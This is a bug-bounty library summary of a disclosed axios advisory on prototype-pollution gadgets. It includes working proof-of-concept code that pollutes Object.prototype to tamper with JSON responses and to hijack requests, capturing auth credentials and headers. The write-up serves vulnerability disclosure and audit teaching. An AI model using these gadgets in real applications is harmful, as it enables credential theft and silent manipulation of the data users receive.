# Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking

Axios reads unguarded config keys (parseReviver, transport) that fall through to polluted Object.prototype, letting an attacker tamper JSON responses or hijack requests and steal credentials.

- Payout: Research
- Severity: high
- Program: Axios
- Found by: dolevmiz1
- Disclosed: 2026-05-05
- CVE: CVE-2026-42033
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pf86-5x62-jrwf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pf86-5x62-jrwf
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:prototype-pollution

**Target:** npm axios library (Node.js http adapter and default transformResponse)
**Root cause:** mergeConfig builds a plain {} and only iterates own keys of defaults/request config, so keys absent from both (parseReviver, transport) are never set as own properties; later reads fall through to a polluted Object.prototype. Value reads like config2[prop] also lack hasOwnProperty guards.
**Steps:**
1. Pollute Object.prototype from a co-dependency, e.g. `Object.prototype.parseReviver = function(k,v){ if(k==='role') return 'admin'; return v; }`
2. Make any axios request with default responseType so forcedJSONParsing triggers `JSON.parse(data, this.parseReviver)`
3. Observe the app receives tampered JSON (`role: admin`) while the server sent `role: user`
4. For transport gadget: `Object.prototype.transport = { request(options, cb){ /* read options.auth, options.headers */ return http.request(options, cb); } }`
5. Issue `axios.get(url, { auth: { username, password } })` and observe the hijacked transport receives `options.auth` in cleartext while the caller sees a normal 200
**How found:** Code-read mergeConfig: noticed merged config is a plain {} and iteration uses Object.keys of spreads, so keys absent from defaults and request config never become own properties; then traced unguarded reads (this.parseReviver, config.transport, config2[prop]) that would resolve via prototype chain. Verified with hasOwnProperty checks and two-terminal PoCs.
**Exploitation:** Requires prior prototype pollution in the same Node process (e.g. lodash < 4.17.21). Gadget 1: attacker reviver observes and rewrites every parsed JSON response, escalating roles or inflating balances and exfiltrating fields like tokens. Gadget 2: attacker transport function intercepts every outbound request, capturing target URL, basic auth credentials and headers, then forwards to the real transport so the caller sees normal responses.
**Escalation:** Chaining a PP vector in any co-dependency with axios turns a low-impact pollution into universal response tampering and credential theft across all requests in the process.
**Insight:** When auditing a library for PP gadgets, don't just look for merge sinks: find config keys the library reads but never initializes in defaults, since those reads silently resolve to Object.prototype. Also check whether a prior __proto__-key fix only guards iteration, leaving value reads unguarded.

## Proof of concept (copied exactly from the original report)

**parseReviver PoC tampering JSON response**

```
Object.prototype.parseReviver = function (key, value) {
  // Called for every key-value pair in every JSON response parsed by axios in this process.
  if (key !== '') {
    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
    console.log('[exfil]', key, '=', JSON.stringify(value));
  }
  // Tamper: escalate role, inflate balance.
  if (key === 'role') return 'admin';
  if (key === 'balance') return 999999;
  return value;
};

const res = await axios.get('http://127.0.0.1:19003/');
console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;
```

**transport PoC hijacking request with credentials**

```
Object.prototype.transport = {
  request(options, handleResponse) {
    // Intercept: called for every outbound request in this process.
    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
    console.log('[hijack] auth:', options.auth);
    console.log('[hijack] headers:', JSON.stringify(options.headers));
    // Forward to the real transport so the caller sees a normal 200.
    return http.request(options, handleResponse);
  },
};

const res = await axios.get('http://127.0.0.1:19002/api/users', {
  auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);

delete Object.prototype.transport;
```

**Own-property check for parseReviver inheritance**

```
const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;
```

